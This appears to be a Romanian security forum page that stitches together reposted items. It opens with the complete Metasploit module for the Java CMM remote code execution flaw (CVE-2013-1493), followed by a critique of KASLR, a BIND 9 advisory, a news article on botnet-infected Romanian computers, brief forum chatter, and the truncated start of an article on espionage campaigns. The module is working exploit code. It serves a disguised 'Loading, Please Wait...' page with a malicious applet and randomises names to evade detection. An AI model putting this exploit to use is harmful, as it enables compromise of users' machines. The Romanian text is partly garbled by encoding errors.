Nytro

Java CMM Remote Code Execution Authored by juan vazquez, temp66 | Site metasploit.com This Metasploit module abuses the Color Management classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41 and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1 systems. This exploit doesn't bypass click-to-play, so the user must accept the java warning in order to run the malicious applet. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java CMM Remote Code Execution', 'Description' => %q{ This module abuses the Color Management classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41 and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1 systems. This exploit doesn't bypass click-to-play, so the user must accept the java warning in order to run the malicious applet. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and Exploit 'juan vazquez' # Metasploit module (just ported the published exploit) ], 'References' => [ [ 'CVE', '2013-1493' ], [ 'OSVDB', '90737' ], [ 'BID', '58238' ], [ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ], [ 'URL', 'http://pastie.org/pastes/6581034' ] ], 'Platform' => [ 'win', 'java' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 01 2013' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class") @init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class") @leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class") @buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class") @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @init_class_name = rand_text_alpha("Init".length) @init_class.gsub!("Init", @init_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@init_class_name}.class", @init_class) jar.add_file("Leak.class", @leak_class) jar.add_file("MyBufferedImage.class", @buffered_image_class) jar.add_file("MyColorSpace.class", @color_space_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|<html><head><title>Loading, Please Wait...</title></head>| html += %Q|<body><center><p>Loading, Please Wait...</p></center>| html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">| html += %Q|</applet></body></html>| return html end end Sursa: Java CMM Remote Code Execution ? Packet Storm

[h=2]KASLR: An Exercise in Cargo Cult Security[/h]by spender » Wed Mar 20, 2013 6:46 pm Since this post about Kernel Address Space Layout Randomization (KASLR) extends beyond a critique of the feature itself and into a commentary on the state of commercial defensive security and how it is evaluated both by the security community and by end-users, I asked the PaX Team to contribute some valuable context to the discussion. As the creator of ASLR in 2001, he shares below some history and motivations for ASLR at the time. His exploit vector classification and ASLR analysis cover important nuances and fundamental truths lost in the barrage of "bypasses" in the industry. I continue later in more depth under the heading "Why KASLR is a Failure". Before talking about KASLR it seems high time that we revisited a little history regarding ASLR itself. About 12 years ago PaX had already proved that there was in fact a practical way to prevent code injection attacks, the prevalent exploit technique against memory corruption bugs at the time (and even today thanks to the widespread use of JIT compiler engines). It was also clear that the next step for both sides would be to focus on executing already existing code, albeit in an order not intended by the programmer of the exploited application (the market word for this is ROP/JOP/etc). Much less relevant back then but there was always the possibility to exploit these bugs by merely changing data and without disturbing the program logic directly (data only attacks, [1] [2]). Foreseeing these future developments in practical exploit techniques made me think whether there was perhaps some general way to prevent them or at least reduce their effectiveness until specific reliable and practical defenses could be developed against the remaining exploit techniques (it was clear that such defenses wouldn't come by as easily as non-executable pages, and alas, in 2013AD nobody has still much to show). In other words, ASLR was always meant to be a temporary measure and its survival for this long speaks much less to its usefulness than our inability to get our collective acts together and develop/deploy actual defenses against the remaining exploit techniques. In any case, thus was the concept of ASLR born which was originally called (for a whole week maybe ) ASR for Address Space Randomization (the first proof of concept implementation did in fact randomize every single mmap call as it was the simplest implementation). The concept was really simple: by randomizing memory addresses on a per process basis we would turn every otherwise reliable exploit needing hardcoded addresses into a probabilistic one where the chances of success were partially controlled by the defense side. While simple in concept and implementation, ASLR doesn't come without conditions, let's look at the them briefly. For ASLR to be an effective prevention measure the following must hold: 1. the exploit must have to know addresses from the exploited process (there's a little shade of grey here in that, depending on the situation, knowledge of partial addresses may be enough (think partial or unaligned overwrites, heap spraying), 'address' is meant to cover both the 'full' and 'partial' conditions), 2. the exploit must not be able to discover such addresses (either by having the exploited application leak them or brute force enumeration of all possible addresses) These are conditions that are not trivially true or false for specific situations, but in practice we can go with a few heuristics: 1. remote attacks: this is the primary protection domain of ASLR by design because if an exploit needs addresses at all, this gives an attacker the least amount of a priori information. It also puts a premium on infoleaking bugs on the attack side and info leak and brute force prevention mechanisms on the defense side. 2. local attacks: defense relying on ASLR here faces several challenges: - kernel bugs: instead of attacking userland it is often better to attack the kernel (the widespread use of sandboxes often makes this the path of least resistance) where userland ASLR plays a secondary role only. In particular it presents a challenge only if exploiting the kernel bug requires the participation of userland memory, a technique whose lifetime is much reduced now that Intel (Haswell) and ARM (v6+) CPUs allow efficient userland/kernel address space separation. - information leaks: the sad fact of life is that contemporary operating systems have all by design features that provide address information that an exploit needs and it's almost a whack-a-mole game to try to find and eliminate them. Even with such intentional leaks fixed or at least worked around there's still kernel bugs left that leak either kernel or userland addresses back to the attacker. Eliminating these didn't receive much research yet, the state-of-the-art being grsecurity but there is still much more work in this area to be done. So how does KASLR relate to all this? First of all, the name itself is a bit unfortunate since what is being randomized is not exactly what happens in userland. For one, userland ASLR leaves no stone unturned so to speak. That is, a proper ASLR implementation would randomize all memory areas and would do so for every new process differently. There is no equivalent of this mechanism for a kernel since once booted, the kernel image does not change its location in memory nor is it practically feasible to re-randomize it on every syscall or some other more coarse-grained boundary. In other words, it's as if in userland we applied ASLR to a single process and kept running it indefinitely in the hope that nothing bad would happen to it. At this rate we could call the long existing relocatable kernel feature in Linux KASLR as well since it's trivial to specify a new randomly chosen load address at boot time there. Second, the amount of randomization that can be applied to the base address of the kernel image is rather small due to address space size and memory management hardware constraints, a good userland ASLR implementation provides at least twice the entropy of what we can see in KASLR implementations. To balance this deficiency there's usually already some form of inadvertent brute force prevention present in that most kernels usually don't recover from the side effects of failed exploit attempts (Linux and its oops mechanisms being an exception here). Third and probably the biggest issue for KASLR is its sensitivity to even the smallest amounts of information leaks, the sheer amount of information leaking bugs present in all kernels and the almost complete lack of prevention mechanisms against such leaks. This situation came about because historically there was no interest until very recently in finding such bugs let alone systematically eliminating them or preventing their effects (except on hardened systems such as grsecurity, recognizing this fact early is the reason why we've been working on this problem space for many years now). Based on our experience with Linux, this will be a long drawn out uphill battle until such bugs are found or at least their effects neutralized in KASLR based kernels. Why KASLR is a Failure Continuing where the PaX Team left off, it should begin to become clear that ASLR has been taken out of the context of its original design and held on a pedestal as something much more than what it was originally intended as: a temporary fix until more effective measures could be implemented (which have much less to do with difficulty than the lack of resources on our side). Information leakage comes in various forms. For our purposes here we'll consider two types of leakage: addresses and content, the former being a subset of the latter. The leaks can have spatial locality (say by leaking a string whose null terminator has been overwritten), be constrained in some other way (say due to an incomplete bounds check), or be completely arbitrary. They can also be active (by creating a leak) or passive (e.g. uninitialized struct fields). Fermin J. Serna's 2012 talk, "The info leak era on software exploitation" [3] covers lots of background information and common vulnerabilities and techniques as they pertain to userland. The KASLR implementations of Microsoft and Apple operate in an environment where the kernel is a known entity whose contents can be obtained in a variety of ways. While on a custom-compiled Linux kernel set up properly, both the content and addresses of the kernel image are secret, for Microsoft and Apple the contents of the kernel image are known. To use "ROP" against the kernel, one needs to know not only the address of what one is returning to, but also what exists at that address. So the only "secret" in KASLR is the kernel's base address. It follows from this that any known pointer to the kernel image reveals its base address. Due to operational constraints, however, the situation is even more dire. iOS KASLR for instance uses only a small 8 bits of entropy. If this weren't enough, the model is even further weakened from what we discussed above as not even a known pointer is needed to reveal the kernel base address. Any pointer to the kernel will reveal its base address via the upper 11 bits (the uppermost three bits are a given). The kernel is mapped aligned to a 2MB boundary. In Stefan Esser's recent iOS presentation [4] he called this 2MB alignment "arbitrary" wondering why there was no smaller alignment. This alignment is not arbitrary at all and is in fact a platform and performance-based constraint on ARM. "Sections," the ARM equivalent of large pages on x86, are implemented in the short mode descriptor format as 2MB first-level page table entries. This is why the iOS kernel as mapped in memory is composed of one 2MB "text" region and one 2MB "data" region -- because a page table entry is needed for each region to express their different memory protections. The kernel is mapped using sections as opposed to normal 4kB pages because it doesn't pollute the TLB with many entries (and potentially other reasons). Don't expect this alignment at the page table level to change. Inside the kernel, leaks will exist in the fixed-address vector mapping until it is relocated via TrustZone extensions. KASLR has likewise been praised [5] out of context on OS X. Though the latest version of OS X supports SMEP on Ivy Bridge processors (the latest generation of Intel Core architecture), no processors are available yet that support SMAP. OS X running with a 64bit kernel does not have the userland/kernel memory separation people have been used to in years past. Though similar memory separation is possible without SMEP/SMAP on the 64bit kernel from the "no_shared_cr3" boot argument (thanks to Tarjei Mandt for pointing me to this), it is unlikely that anyone is running in this mode as it imposes a severe performance hit (upwards of 30%+ with today's TLB architectures and sizes). Since cr3 is swapped on changing between a kernel-only and shared address space, cr3 modifications (and thus implied TLB flushes) occur on kernel entry, kernel exit, and before and after every copy to/from userland. Therefore, without SMEP, arbitrary code execution is trivially done in userland. Without SMAP, crafted data for sensitive APIs or ROP payloads can be easily stored in userland, removing any need for reliable storage addresses in the kernel. Information leaks are the critical weakness of ASLR, and KASLR amplifies this weakness. Bases are only randomized once at boot, and (at least OS X/iOS's) heap/stack randomization is weak and irrelevant over time. For every usable privilege escalation vulnerability found, at least one usable infoleak will exist. Obvious infoleaks will be fixed by Apple and Microsoft (e.g. NtQuerySystemInformation), but other infoleak sources will prove more difficult to eradicate. Uninitialized structure fields can very easily creep into code (as we've seen time and again in Linux). Improper use of certain string routines like snprintf() can cause infoleaks. Pointers get used as unique IDs [6], pointers are printed. Structure padding often introduces infoleaks, especially on 64bit architectures. An OS that had 32bit kernels only until very recently switching to 64bit might find many infoleaks suddenly appearing due to this structure padding if one were to look. Linux has been struggling with infoleaks for years and even still they're readily found. Mathias Krause found 21 of them recently in the Linux kernel [7], and "3" more even more recently [8]. I say "3" because if you look at the first commit, for instance, you'll see 8 infoleaks being fixed in a single file. 13 infoleaks rolled up into one CVE -- tidy. During the writing of this article, even, I discovered a new infoleak in the Linux kernel that would have evaded any kind of manual code analysis. An unsanitized field that turned into a limited local ASLR infoleak was found via PaX's size_overflow plugin recently as well that evaded manual inspection by the "many eyes" for years [9]. This vulnerability goes back to Linux 1.3.0 (yes you read that correctly, from 1995 -- 18 years). Of important note is that large infoleaks via these bugs are rare (and we've taken many steps in grsecurity to further reduce the possibility of leaks through approved copying interfaces). What is not rare are small leaks, large enough to leak pointers. The leaks are often local to the source of the bug. An uninitialized heap struct might leak pointers, but it will never directly leak code from the kernel image. Uninitialized stack entries can be coerced into providing desired pointers from previous syscalls. All these things mean it's much more likely to leak addresses that would reveal all useful "secrets". These secrets are the translations between addresses and known content, and their discovery enables full scale ROP. It's much less likely that content itself will be leaked in quantities sufficient enough for the same kind of attack. While Halvar's famous quote "you do not find info leaks... you create them" rings true for much userland exploitation, in the kernel you will come to know that it is much easier (and safer) to find info leaks than create them. We've seen this kind of cargo cult security before [10] [11], of copying techniques into a different environment and via a kind of post hoc, ergo propter hoc logic fallacy, assuming the technique in its new environment will provide the same security. The kptr_restrict sysctl currently exists in the upstream Linux kernel and in most modern distros. It was derived from my GRKERNSEC_HIDESYM feature and submitted upstream by Dan Rosenberg [12]. The intent of the feature was to not leak kernel pointers to userland via /proc interfaces, symbol lists, etc. While the configuration help for GRKERNSEC_HIDESYM mentioned explicitly three things that needed to hold true for the feature to be useful at all, among them being that the kernel was not compiled by a distribution and that the kernel and associated modules, etc on disk are not visible to unprivileged users, you'll note that nowhere in the commit message or the in-kernel documentation for kptr_restrict is any kind of qualification for its efficacy mentioned. So what do we see as a result of this? Take Ubuntu [13]: When attackers try to develop "run anywhere" exploits for kernel vulnerabilities, they frequently need to know the location of internal kernel structures. By treating kernel addresses as sensitive information, those locations are not visible to regular local users. Starting with Ubuntu 11.04, /proc/sys/kernel/kptr_restrict is set to "1" to block the reporting of known kernel address leaks. Additionally, various files and directories were made readable only by the root user: /boot/vmlinuz*, /boot/System.map* All of it utterly useless as every one of these files is publicly available to anyone, including the attacker. And so the false security spreads. KASLR is an easy to understand metaphor. Even non-technical users can make sense of the concept of a moving target being harder to attack. But in this obsession with an acronym outside of any context and consideration of its limitations, we lose sight of the fact that this moving target only moves once and is pretty easy to spot. We forget that the appeal of ASLR was in its cost/benefit ratio, not because of its high benefit, but because of its low cost. A cost which becomes not so low when we consider all the weaknesses (including the side-channel attacks mentioned in the paper that triggered this whole debate [14] which have not been covered in this article for various reasons, mostly because I don't want to sway the many optimists that popped up away from their firmly held beliefs that these are the only problems of this kind that can and will be fixed). KASLR is more of a marketing tool (much like the focus of the rest of the industry) than a serious addition to defense. Many other strategies exist to deal with the problem KASLR claims to deal with. To use some wording from the PaX Team, the line of reasoning is: we need to do something. KASLR is something. Let's do KASLR. "Make attacks harder" is not a valid description of a defense. Nor is "it's better than nothing" an acceptable excuse in the realm of security. If it is, then we need to give up the facade and admit that these kinds of fundamentally broken pseudo-mitigations are nothing more than obfuscation, designed to give the public presence of security while ensuring the various exploit dealers can still turn a profit off the many weaknesses. The details matter. Consider this our "I told you so" that we hope you'll remember in the coming years as KASLR is "broken" time and again. Then again, in this offensive-driven industry, that's where the money is, isn't it? [1] http://static.usenix.org/event/sec05/te ... n/chen.pdf [2] http://www.cs.princeton.edu/~dpw/papers/yarra-csf11.pdf [3] http://media.blackhat.com/bh-us-12/Brie ... Slides.pdf [4] http://www.slideshare.net/i0n1c/csw2013 ... 0dayslater [5] https://twitter.com/aionescu/status/312945665888120832 [6] http://lists.apple.com/archives/darwin- ... 00012.html [7] oss-security - Re: CVE Requests (maybe): Linux kernel: various info leaks, some NULL ptr derefs [8] oss-sec: Linux kernel: net - three info leaks in rtnl [9] viewtopic.php?f=7&t=2521 [10] viewtopic.php?f=7&t=2574 [11] https://lkml.org/lkml/2013/3/11/498 [12] https://lwn.net/Articles/420403/ [13] https://wiki.ubuntu.com/Security/Features [14] http://scholar.googleusercontent.com/sc ... oogle.com/ Sursa: grsecurity forums • View topic - KASLR: An Exercise in Cargo Cult Security

BIND 9 Memory Consumption Authored by Matthew Horsfall | Site kb.isc.org A critical defect in BIND 9 allows an attacker to cause excessive memory consumption in named or other programs linked to libdns. CVE-2013-2266: A Maliciously Crafted Regular Expression Can Cause Memory Exhaustion in named Author: ISC Support Reference Number: AA-00871 Views: 5456 Created: 2013-02-26 02:57 Last Updated: 2013-03-26 15:56 0 Rating/ Voters A critical defect in BIND 9 allows an attacker to cause excessive memory consumption in named or other programs linked to libdns. CVE: CVE-2013-2266 Document Version: 2.0 Posting date: 26 March 2013 Program Impacted: BIND Versions affected: "Unix" versions of BIND 9.7.x, 9.8.0 -> 9.8.5b1, 9.9.0 -> 9.9.3b1. (Windows versions are not affected. Versions of BIND 9 prior to BIND 9.7.0 (including BIND 9.6-ESV) are not affected. BIND 10 is not affected.) Severity: Critical Exploitable: Remotely Description: A flaw in a library used by BIND 9.7, 9.8, and 9.9, when compiled on Unix and related operating systems, allows an attacker to deliberately cause excessive memory consumption by the named process, potentially resulting in exhaustion of memory resources on the affected server. This condition can crash BIND 9 and will likely severely affect operation of other programs running on the same machine. Please Note: Versions of BIND 9.7 are beyond their "end of life" (EOL) and no longer receive testing or security fixes from ISC. However, the re-compilation method described in the "Workarounds" section of this document will prevent exploitation in BIND 9.7 as well as in currently supported versions. For current information on which versions are actively supported, please see http://www.isc.org/software/bind/versions. Additional information is available in the CVE-2013-2266 FAQ and Supplemental Information article in the ISC Knowledge base, https://kb.isc.org/article/AA-00879. Impact: Intentional exploitation of this condition can cause denial of service in all authoritative and recursive nameservers running affected versions of BIND 9 [all versions of BIND 9.7, BIND 9.8.0 through 9.8.5b1 (inclusive) and BIND 9.9.0 through BIND 9.9.3b1 (inclusive)]. Additionally, other services which run on the same physical machine as an affected BIND server could be compromised as well through exhaustion of system memory. Programs using the libdns library from affected versions of BIND are also potentially vulnerable to exploitation of this bug if they can be forced to accept input which triggers the condition. Tools which are linked against libdns (e.g. dig) should also be rebuilt or upgraded, even if named is not being used. CVSS Score: 7.8 CVSS Equation: (AV:N/AC:L/Au:N/C:N/I:N/A:C) For more information on the Common Vulnerability Scoring System and to obtain your specific environmental score please visit: http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2&vector=(AV:N/AC:L/Au:N/C:N/I:N/A:C) Workarounds: Patched versions are available (see the "Solutions:" section below) or operators can prevent exploitation of this bug in any affected version of BIND 9 by compiling without regular expression support. Compilation without regular expression support: BIND 9.7 (all versions), BIND 9.8 (9.8.0 through 9.8.5b1), and BIND 9.9 (9.9.0 through 9.9.3b1) can be rendered completely safe from this bug by re-compiling the source with regular expression support disabled. In order to disable inclusion of regular expression support: After configuring BIND features as desired using the configure script in the top level source directory, manually edit the "config.h" header file that was produced by the configure script. Locate the line that reads "#define HAVE_REGEX_H 1" and replace the contents of that line with "#undef HAVE_REGEX_H". Run "make clean" to remove any previously compiled object files from the BIND 9 source directory, then proceed to make and install BIND normally. Active exploits: No known active exploits. Solution: Compile BIND 9 without regular expression support as described in the "Workarounds" section of this advisory or upgrade to the patched release most closely related to your current version of BIND. These can be downloaded from http://www.isc.org/downloads/all. BIND 9 version 9.8.4-P2 BIND 9 version 9.9.2-P2 Acknowledgements: ISC would like to thank Matthew Horsfall of Dyn, Inc. for discovering this bug and bringing it to our attention. Sursa: BIND 9 Memory Consumption ? Packet Storm Si: https://kb.isc.org/article/AA-00871

România bate China la atacuri cibernetice. Cum ajung românii s? aib? calculatoare „zombie” f?r? s? ?tie de Andrei Luca POPESCU Publicat la: 28.03.2013 08:40 România se afl? pe locul 7 în lume ca ?ar?-surs? de atacuri cibernetice, devansând China. Doar în ultima lun?, din România au fost lansate peste 350.000 de atacuri pe internet, iar acestea sunt doar cele înregistrate în re?elele de?inute de Deutsche Telekom ?i partenerii s?i. Exper?ii români în securitate cibernetic? sus?in îns? c?, de cele mai multe ori, atacurile române?ti sunt de fapt paravane pentru hackeri din alte state, care infecteaz? calculatoare din România, apoi le folosesc pe post de „zombie” – ma?ini controlate de la distan??. Compania german? de telecomunica?ii a dezvoltat o re?ea de 97 de senzori, care raporteaz? în timp real atacuri cibernetice. Rusia este statul care conduce deta?at topul ??rilor-surs? de atacuri, cu peste 2,4 milioane de atacuri în luna februarie. Înaintea României, în top se mai afl? Taiwan (peste 900.000), Germania (peste 780.000), Ucraina (peste 565.000), Ungaria (peste 365.000) ?i SUA (peste 355.000). De?i computere din România apar ca surs? a peste 350.000 de atacuri doar în luna februarie, este pu?in probabil ca acestea s? î?i fi avut originea propriu-zis din ?ara noastr?, explic? reprezentan?ii CERT-RO (Centrul Na?ional de R?spuns la Incidente de Securitate Cibernetic?), autoritate care lucreaz? cu serviciile secrete ?i cu ministerele care ?in de siguran?? na?ional? (Ap?rare, Interne, Comunica?ii) pentru a preveni ?i a contracara atacurile cibernetice. “Sunt foarte rare cazurile în care atacatorul folose?te adresa IP personal? în desf??urarea opera?iilor semnalate. În majoritatea cazurilor, atacatorul se folose?te de re?ele botnet prin care î?i desf??oar? atacul ?i prin care î?i ascunde identitatea. Am observat (în România) un num?r foarte mare de IP-uri de tip ”residential user” - utilizatori priva?i, infectate cu diverse tipuri de aplica?ii malware, ce fac parte din diferite re?ele botnet”, a explicat pentru gândul Daniel Ioni??, ?eful Departamentului de Analize, Politici ?i Afaceri Legale din CERT-RO. Re?elele botnet sunt o colec?ie de robo?i software, cunoscu?i pe scurt drept “bo?i”. Sunt practic computere virtuale, care ruleaz? îns? de pe ma?ini reale – denumite calculatoare “zombie”, care sunt controlate de la distan??, f?r? ca proprietarul s? ?tie. De cele mai multe ori, acesta este ?i cazul calculatoarelor din România, care sunt implicate în atacuri cibernetice. “Grupurile de calculatoare „zombie”, controlate de la distan??, ruleaz? diferite programe de obicei instalate prin exploatarea unor vulnerabilit??i de securitate care se manifest? la nivelul sistemelor informatice compromise, exploatate prin intermediul unor aplica?ii malware de tip troian. De?in?torul re?elei de bo?i poate controla calculatoarele compromise de la distan?? ?i poate implica resursele acestora în diverse ac?iuni ilegale derulate în mediul online”, explic? expertul de la CERT-RO. Cu alte cuvinte, proprietarul computerului “zombie” – infectat cu un virus de tip “troian” (program în aparen?? curat ?i legitim, dar care con?ine virus informatic) sau cu un program “malware” (care con?ine alte tipuri de viru?i sau amenin??ri cibernetice), nu ?tie c? devine platform? de atac, controlat? de la distan??. Expert: “Cultura de securitate din România nu este corespunz?toare” Românii ajung deseori victime ale hackerilor ?i, mai departe, joac? rolul de lansatori de atacuri cibernetice f?r? s? ?tie ?i din ignoran?? fa?? de ce înseamn? internetul. “Din p?cate, cultura de securitate a utilizatorilor re?elei Internet din România nu este corespunz?toare nivelului riscurilor la care sunt expuse sistemele informatice conectate la acest mediu virtual. Cel mai probabil, din cauza unui nivel sc?zut al culturii de securitate, precum ?i a nerespect?rii m?surilor minime de securitate în cele mai multe cazuri, ace?tia devin victime, transformând spa?iul cibernetic românesc într-un spa?iu de tranzit pentru diferite activit??i infrac?ionale ale unor hackeri din alte state (practic se execut? atacuri prin intermediul unor IP-uri din România)”, spune Daniel Ioni??, pentru gândul. Cele mai frecvente tipuri de atac Conform datelor publicate de Deutsche Telekom, cele mai frecvente tipuri de atac cibernetic din luna februarie au fost cele asupra protocolului SMB (peste 27,3 milioane), protocolului Netbios, asupra portului 33434, asupra protocolului SSH ?i a portului 5353. “Prin scanarea SMB ?i NetBios atacatorul, probabil, încearc? s? afle detalii suplimentare despre ?inta sa, dat fiind c? aceste dou? protocoale sunt vulnerabile ?i pot furniza detalii despre tipologia re?elei. Portul 33434 este folosit pentru ‘traceroute’ (aflarea nodurilor prin care trece un pachet de date pentru a ajunge la serverul de destina?ie) ?i poate fi folosit uneori în atacuri de tip DoS (denial of service, blocarea accesului la un server sau pagin? de internet, care se face de cele mai multe ori prin „inundarea” cu solicit?ri de acces - flooding)”, explic? expertul CERT-RO. Prin portul 5353 se pot lansa în unele cazuri atacuri de tip DoS. SSH este un protocol de securizare a comunica?iei dintre dou? calculatoare ?i se folose?te foarte des pentru conectarea de la distan?? la un sistem informatic. Prin atacurile de tip ”brute force SSH”, atacatorii încearc? aflarea parolelor de conectare de la distan?? prin SSH, vizând accesul ulterior la sistemul informatic. Aceste tipuri de atac nu sunt neap?rat foarte periculoase, îns? pot servi unor atacuri ulterioare de anvergur?. “Atacurile de mai sus nu trebuie neap?rat s? reprezinte scopul final al atacatorului, ci pot reprezenta o metod? de colectare de date pentru declan?area unui nou atac mai periculos. Astfel, atacurile obi?nuite de ast?zi preg?tesc de fapt atacurile periculoase de mâine. Furnizorul german de telecomunica?ii nu men?ioneaz? dac? atacurile au avut succes sau nu ?i nici tipologia ?intei atacate”, mai spune Daniel Ioni??. SRI: Atacurile cibernetice se vor intensifica în 2013 La bilan?ul SRI pe anul 2012, directorul George Maior a nominalizat securitatea cibernetic? printre cele dou? domenii care vor fi o provocare pentru SRI în 2013, spunând c? atacurile cibernetice vor cre?te în intensitate. Maior a spus c? anul trecut România a fost victima a cel pu?in dou? atacuri informatice majore, care au vizat baze de date ?i infrastructura informatic? a unor institu?ii de stat. Opera?iunea “Octombrie Ro?u”, descoperit? de exper?ii de la Kaspersky Lab, a fost calificat? de SRI drept cel mai puternic atac informatic asupra României din ultimii 20 de ani. Chiar dac? a vizat doar 4 clase de IP-uri, conform CERT-RO, oficialii SRI au sus?inut c? au fost accesate informa?ii sensibile care ?in de geostrategie, resurse naturale în zona M?rii Negre sau politic? extern?. Atacatorii nu ar fi reu?it s? acceseze informa?ii secrete, a mai sus?inut SRI. În spatele acestei opera?iuni, exist? indicii c? s-au aflat hackeri chinezi, care au colaborat sau au folosit viru?i ?i malware creat de hackeri ru?i. Aceast? opera?iune a început prin colectarea de date prin metode care nu anun?atu ceva de anvergur? sau extrem de periculos, a?a cum sunt ?i tipurile de atac semnalate de re?eaua Deutsche Telekom. Printre metodele de atac s-au num?rat ?i exploat?ri comune, din programele des folosite ale Microsoft Office sau Adobe – Word, Acrobat Reader, Excel. Alte metode de acces în sistemele informatice vizate au fost “p?c?lelile” prin email. Sfaturile CERT-RO pentru evitarea riscurilor de a deveni un “zombie” În primul rând, utilizatorii de internet ar trebui s? foloseasc? un program antivirus, care s? aib? ?i func?ii antispam ?i antiphishing. Cel mai frecvent tip de “p?c?leal?” care duce la instalarea pe calculator a unor troieni sau a altor programe malware este deschiderea prin clic a unor ata?amente sau a unor link-uri c?tre pagini de internet venite pe email, de la expeditori necunoscu?i. Acestea nu trebuie deschise. De cele mai multe ori, ceea ce intr? în c?su?a de Spam a email-ului este mai bine s? nu fie accesat. CERT-RO recomand? s? nu folosi?i calculatoare publice sau re?ele de wireless publice sau neparolate, pentru a face cump?r?turi online, pentru c? astfel datele personale ?i cele financiare devin vulnerabile. De asemenea, instalarea programelor de pe internet trebuie f?cut? de pe pagina produc?torului sau autorului. Un alt sfat de la exper?i este s? nu trimite?i pe mail sau în vreun ata?ament parole sau date privind cardul bancar. Mesajele care v? anun?? c? a?i câ?tigat premii sau v? solicit? date personale sau bani trebuie tratate cu suspiciune, pentru c? de cele mai multe ori sunt încerc?ri de fraud? – phishing. B?ncile nu solicit? pe e-mail date personale sau parole, de asemenea institu?iile publice nu solicit? pl??i prin email. Andrei Luca Popescu este reporter special al ziarului Gândul Sursa: România bate China la atacuri cibernetice. Cum ajung românii s? aib? calculatoare „zombie” f?r? s? ?tie - Gandul

Exact asta citeam: Descinderi DIICOT în 85 de loca?ii. Sunt c?uta?i interlopii hackeri: Romeo Ursu ?i Constantin Ghear? Link: Descinderi DIICOT în 85 de loca?ii. Liderii grup?rii: fratele lui Nicu Ghear? ?i interlopul Boenic? - Justi?ie > EVZ.roHmm, ia spuneti repede, care de pe aici care va dati copii de 14 ani, jucatori de Counter-Strike, sunteti de fapt interlopi si va luati BMW-uri?

Trebuia sa dai refresh. Am pus: #content { background-color: #191919; padding: 10px 10px 20px; -webkit-border-bottom-right-radius: 10px; -webkit-border-bottom-left-radius: 10px; -moz-border-radius-bottomright: 10px; -moz-border-radius-bottomleft: 10px; border-bottom-right-radius: 10px; border-bottom-left-radius: 10px; }

CSS-u vietii... Am pus. Dar daca mai vreti modificari faceti tot asa, ziceti-mi exact ce sa modific, fitzosilor.

[h=1]TeamSpy, Miniduke, Red October, and Flame: Analyzing Principal Cyber Espionage Campaigns[/h]Pierluigi Paganini March 26, 2013 Even a layman would notice that cyberspace is in full storm; different entities are increasing malicious activities pursuing various purposes, and cyber espionage is considered one of the principal motivations behind majority of the attacks. Cyber espionage is not a practices limited to governments. Private business, cyber criminals and hacktivists are also intensifying the use of cyber tools to gather sensitive information. This article focuses the analysis on those campaigns that could be linked to the activities of state-sponsored hackers that involve a state commitment due the nature and value of information collected. Let’s make first a fundamental clarification: governments are exploring the possibility to use cyber-tools for espionage for a long time. Numerous cases report activities started many years ago that compromised high profile entities stealing secret and sensitive information. We are facing a global game; no-one is excluded, although countries such as China, Russia, US and Israel are considered the most advanced in cyber espionage. The governments of these countries have understood at least a decade ago how strategic is the use of cyber tools to gain information on the policies and technologies that their opposition has developed. For years, areas such as military and heavy industry are subject to intelligence activities and it’s impossible to estimate the damage over time caused by this form of espionage. In this post, I analyze in detail the events that have occurred in recent months trying to understand the motivation behind the cyber operations, how they have been conducted, and against whom. Finally, I will discuss the recent cyber espionage campaigns discovered by researchers at Hungary-based CrySyS Lab –a decade-long activity that targeted high-level political and industrial entities in Eastern Europe. The attackers, dubbed by security researchers TeamSpy, used a digital signed version of the popular remote control software TeamViewer specially crafted with a malware to steal secret documents and encryption keys from victims. In many cases attackers digitally signed malicious code to improve the reputation of malware and avoid detection techniques. This method is consolidated in many operations, most of them having a state-sponsored origin. Once installed, the compromised program provides attackers with a backdoor to control victims. Who are the targets of cyber espionage campaign? The hackers hit a large variety of high-level subjects including a Russian-based Embassy 